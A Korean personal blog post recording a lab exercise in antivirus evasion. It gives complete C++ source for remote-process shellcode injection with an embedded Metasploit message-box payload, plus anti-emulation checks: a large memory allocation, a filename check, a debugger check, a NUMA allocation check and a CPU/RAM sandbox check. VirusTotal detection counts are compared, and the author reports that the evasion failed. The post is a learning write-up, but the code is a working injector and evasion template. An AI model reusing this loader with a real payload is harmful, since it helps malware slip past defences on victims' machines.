본문 바로가기

System/TTPs

AV 엔진 우회 2

참고:  https://cocomelonc.github.io/

AV 엔진 우회 2

실습환경
Windows 10 Home 21H2, VMware® Workstation 16 Pro 16.2.3, 가상머신 내 kali-linux-2022.1,  가상머신 내 Windows 10 Home 21H2 2GB 2CORE

 

 

 

무슨 트릭을 써 볼 것이냐면..

AV 엔진이 스캔을 할 때 제한적으로 주어진 "시간"에 대한 트릭이다.

시스템을 검사하는 동안 AV엔진은 많은 파일을 분석하는데.. 특별한 것에 엄청난 시간을 쏟을 수 없음.

 

AV엔진 우회 1에서처럼 페이로드를 암호화하는 것 외에 AV엔진의 탐지를 피하는 고전직인 방법 중 하나이다.

=> 100MB 메모리를 할당하고 Wirte.

 

 

1. metasploit으로 쉘코드 만들기

- kali > terminal > msfconsole 입력 > show payloads.입력 > 수많은 친구들 중 windows/x64/messageBox 찾기.

- use windows/x64/messageBox입력

- set TEXT "텍스트 입력"

- set TITLE "메세지박스 상단 텍스트 입력"

- generate로 생성

 

2. 오리지널 hack.cpp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

    // messageBox Custom
    unsigned char my_payload[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
        "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
        "\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
        "\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
        "\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69"
        "\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43"
        "\x61\x72\x64\x00\x48\x49\x48\x49\x00";

    HANDLE ph; 
    HANDLE rt; 
    PVOID rb;

    printf("PID: %i", atoi(argv[1]));
    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

    rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

    rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
    CloseHandle(ph);
    return 0;
}

 

 

3. hack.cpp 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

    // messageBox Custom
    unsigned char my_payload[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41" 
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60" 
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72" 
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac" 
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2" 
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48" 
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f" 
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49" 
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01" 
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01" 
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41" 
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b" 
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58" 
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" 
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7" 
        "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e" 
        "\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83" 
        "\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff" 
        "\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69" 
        "\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43" 
        "\x61\x72\x64\x00\x48\x49\x48\x49\x00";

    HANDLE ph;
    HANDLE rt;
    PVOID rb; 

    DWORD pid;
    pid = atoi(argv[1]);

    //100MB의 메모리를 할당한 후 0으로 채운다.
    char* mem = NULL;
    mem = (char*)malloc(100000000); //void* malloc(size_t size) 

    if (mem != NULL) {
        memset(mem, 00, 100000000);
        free(mem);

        ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
        printf("PID: %i", pid);

        rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

        rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
        CloseHandle(ph);
        return 0;
    }
}

 

4. 컴파일

 

결과


original_hack.cpp와 hack.cpp의 차이

- 메모리 할당 부분

- mem < malloc 100MB

- 나머지는 그냥 같은 기능임.

 

 

VirusTotal에서의 original과 hack의 차이

original_hack.exe

https://www.virustotal.com/gui/file/edf59f46160d86346cc012dd0bc8989ed3450aa5eadfb8ca355a83b56cd633c8?nocache=1 

 

hack.exe

https://www.virustotal.com/gui/file/997a569c05dc62b085620725c5cba852a76285bfecdb8f872bece8d438033dbb?nocache=1 

 

 

고작 하나의 AV엔진이 줄었다.


시도 1. 100MB 에서 10GB로 증가시켜서 할당.

결과

 

 

시도2. 가상 에뮬레이트 환경 탐지.

AV 엔진에 의해 가상화 환경이 에뮬레이트되어 그 안에서 실행되는 경우를 탐지한다.

요즘 PC는 최소 2코어에 2GB 램은 가지고 있으니.. 그보다 작으면 VM환경이라고 취급하고 return -2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

//함수포인터.  LPVOLID 타입의 WINAPI함수를 가리키는 포인터 pVirtualAllocExNuma.
//pVirtualAllocExNuma를 타입으로 변수 선언 시 WINAPI 함수의 주소를 넘겨줄 수 있음. (함수이름 = 함수주소)
typedef LPVOID(WINAPI* pVirtualAllocExNuma) ( 
    HANDLE         hProcess,
    LPVOID         lpAddress,
    SIZE_T         dwSize,
    DWORD          flAllocationType,
    DWORD          flProtect,
    DWORD          nndPreferred
    ); //얘네들이 멤버가 아니라 매개변수임. typedef 타입(포인터)(매개변수,매개변수,매개변수 ....)

// checkNUMA 함수: PC에서는 메모리 할당이 정상적으로 이루어지지만.. AV 에뮬레이터(VM환경)에서는 fail.
BOOL checkNUMA() {
    LPVOID mem = NULL;
    pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
    mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
    if (mem != NULL) { // VirtualAllocExNuma() 함수 성공했을 때. 이때 mem= 할당된 영역의 메모리 베이스 주소
        return false;
    }
    else {  // VirtualAllocExNuma() 함수 호출이 실패. null
        return true;
    }
}

// checkResources 함수: 현재 RAM, core(processor)을 알아낸 후 그 수가 2보다 작으면 false 반환. 왜냐면 요즘 컴퓨터는 최소 2GB램에 2코어는 가짐.
// 즉, 램이 2GB 이하거나 코어가 2개 미만이거나 하면 가상환경으로 취급한다는 것.
BOOL checkResources() { 
    SYSTEM_INFO s; //현재 컴퓨터 시스템에 대한 정보
    MEMORYSTATUSEX ms; //확장 메모리를 포함한.. 물리적 메모리와 가상 메모리의 현재 상태에 대한 정보를 포함
    DWORD procNum;
    DWORD ram;

    // check number of processors
    GetSystemInfo(&s);  //현재 시스템에 대한 정보 검색
    procNum = s.dwNumberOfProcessors; //
    if (procNum < 2) return false;

    // check RAM
    ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    ram = ms.ullTotalPhys / 1024 / 1024 / 1024; //실제 물리적 메모리의 크기(byte단위) / 1024 /1024 /1024
    if (ram < 2) return false;

    return true;
}


int main(int argc, char* argv[]) {

    // messageBox Custom
    unsigned char my_payload[] =
        "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
        "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
        "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
        "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
        "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
        "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
        "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
        "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
        "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
        "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
        "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
        "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
        "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
        "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
        "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
        "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
        "\x4c\x8d\x85\x1d\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
        "\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
        "\xd5\x59\x6f\x75\x20\x4a\x75\x73\x74\x20\x41\x63\x74\x69"
        "\x76\x61\x74\x65\x20\x4d\x79\x20\x54\x72\x61\x70\x20\x43"
        "\x61\x72\x64\x00\x48\x49\x48\x49\x00";

    HANDLE ph;
    HANDLE rt;
    PVOID rb;

    DWORD pid;
    pid = atoi(argv[1]);

    // AV엔진에 의해 에뮬레이트된 환경에서 해당 코드 실행 시, 첫 번째 인수가 파일명(hack_2.exe)이 아니게 됨. 이것을 체크한다.
    if (strstr(argv[0], "hack_2.exe") == NULL) {
        printf("날 실행한 프로세스의 이름은 무엇인가?.. hack_2.exe은 아닌데 뭐지? :(\n");
        return -2;
    }

    // 현재 디버거와 연결되어 있는 상태인지 IsDebuggerPresent() 함수를 통해 OS에 물어보는 것.
    if (IsDebuggerPresent()) { // 해당함수는 기본적으로 PEB에서 BeingDebugged 플래그를 확인함.
        printf("나 디버거에 붙어있냐? :(\n");
        return -2;
    }

    // NUMA 메모리를 체크.
    if (checkNUMA()) {
        printf("NUMA 메모리 할당 실패 :( \n");
        return -2;
    }

    // check resources
    if (checkResources() == false) {
        printf("아무리 봐도 여긴 가상환경이야 :(\n");
        return -2;
    }

    //100MB의 메모리를 할당한 후 0으로 채운다.
    char* mem = NULL;
    mem = (char*)malloc(100000000); //void* malloc(size_t size) 

    if (mem != NULL) {
        memset(mem, 14, 100000000);
        free(mem);

        ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
        printf("PID: %i", pid);

        rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

        rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
        CloseHandle(ph);
        return 0;
    }
}

 

VirtualAllocExNuma() 함수

- 지정된 프로세스의 가상 주소 공간 내에서 메모리 영역의 상태를 RESERVE·COMMIT.

- 애플리케이션에서 메모리 할당에 대한 기본 노드를 지정할 수 있음. (물리적 메모리의 NUMA 노드를 지정)

- 물리적 CPU가 두 개 이상인 시스템의 경우, VirtualAllocEx() 대신 사용

- VirtualAllocEx()와의 차이점은 마지막 매개변수인 nndPreferred.

 

※ nndPreferred: 물리적 메모리가 있어야 하는 NUMA 노드. 새 VA 영역(커밋 또는 예약됨)을 할당할 때만 사용.

API가 이미 존재하는 영역에서 페이지를 커밋하는 데 사용될 때 이 매개 변수는 무시된다.

// 메모리 동적 할당
// 반환값: 할당된영역의 메모리 페이지 베이스 주소, 실패시엔 NULL
LPVOID VirtualAllocExNuma(
       HANDLE hProcess,
       LPVOID lpAddress,
       SIZE_T dwSize,
       DWORD  flAllocationType,
       DWORD  flProtect,
       DWORD  nndPreferred //물리적 메모리가 필요한 NUMA 노드.
);

 

NUMA NODE

- Numa는 간단하게 CPU와 메모리가 한 Set를 이루는 것

- 프로세서와 메모리가 하나의 그룹을 이루며 각 그룹은 Numa Node라고 불린다.

- NUMA 시스템에서는 프로세서(CPU)를 몇 개의 그룹으로 나누고, 각 그룹에게 별도의 지역 메모리를 할당해준다.

 

 

SYSTEM_INFO 구조체

typedef struct _SYSTEM_INFO {
  union {
    DWORD dwOemId;
    struct {
      WORD wProcessorArchitecture;
      WORD wReserved;
    } DUMMYSTRUCTNAME;
  } DUMMYUNIONNAME;
  DWORD     dwPageSize;
  LPVOID    lpMinimumApplicationAddress;
  LPVOID    lpMaximumApplicationAddress;
  DWORD_PTR dwActiveProcessorMask;
  DWORD     dwNumberOfProcessors; // 현재 그룹의 논리프로세서 수. 
  DWORD     dwProcessorType;
  DWORD     dwAllocationGranularity;
  WORD      wProcessorLevel;
  WORD      wProcessorRevision;
} SYSTEM_INFO, *LPSYSTEM_INFO;

 

 

MEMORYSTATUSEX 구조체

typedef struct _MEMORYSTATUSEX {
  DWORD     dwLength; //구조체의 크기(byte)
  DWORD     dwMemoryLoad;
  DWORDLONG ullTotalPhys; //실제 물리적 메모리의 양(byte)
  DWORDLONG ullAvailPhys;
  DWORDLONG ullTotalPageFile;
  DWORDLONG ullAvailPageFile;
  DWORDLONG ullTotalVirtual;
  DWORDLONG ullAvailVirtual;
  DWORDLONG ullAvailExtendedVirtual;
} MEMORYSTATUSEX, *LPMEMORYSTATUSEX;

 

 

GlobalMemoryStatusEx(): 메모리 사용량 측정. 시스템의 현재 물리적 메모리 및 가상 메모리 사용에 대한 정보를 검색

BOOL GlobalMemoryStatusEx(
   LPMEMORYSTATUSEX lpBuffer
);

 

※ ullTotalPhys를 통해 실제 물리적 메모리의 크기(byte단위)를 구해서 / 1024 /1024 /1024 하는 이유

EX. 본인 컴퓨터 16GB. byte단위로 바꾸면 16000000000 byte이다. 여기서 1024로 세번 나누면 16이 됨.

RAM의 용량을 확인하기 위한 연산과정이라고 생각하자.

 

 

결과

① 본인 PC에서 실행한 경우

 

 

② 가상환경에서 실행한 경우

마지막 체크함수인 checkResources()에서 false가 나왔기에 저런 문구가 뜬 것.

그러니까..다른 조건은 다 ㅇㅋ된거지. 

  • 그냥 vmware에서 hack_2.exe 실행했기에 실행 파일명도 패스.
  • 디버거에 연결된 상태 아니니까 패스
  • NUMA 메모리 체크했을 때 메모리 할당에 실패하지 않았음. AV에뮬레이터가 아니라 일반 Vmware 환경이라서 그런가?
  • 그러나 checkResources() 함수의 조건에서.. 2GB/2코어 조건 충족 못해서 저런 문구 뜨고 종료된 것.

 

 

아니 늘었잖아~~~~~~~~~~~ 이게 무슨일이야 

실패!

 

그래도 재미있는 경험이었다.^^

'System > TTPs' 카테고리의 다른 글

2. DLL Hijacking  (0) 2023.03.29
1. Process Hollowing이란?  (0) 2023.03.29
UAC bypass 실습하다가 컴날림  (1) 2022.07.15
VM 엔진 우회 실습 1  (0) 2022.04.28
AV 엔진 우회 실습 1  (0) 2022.04.26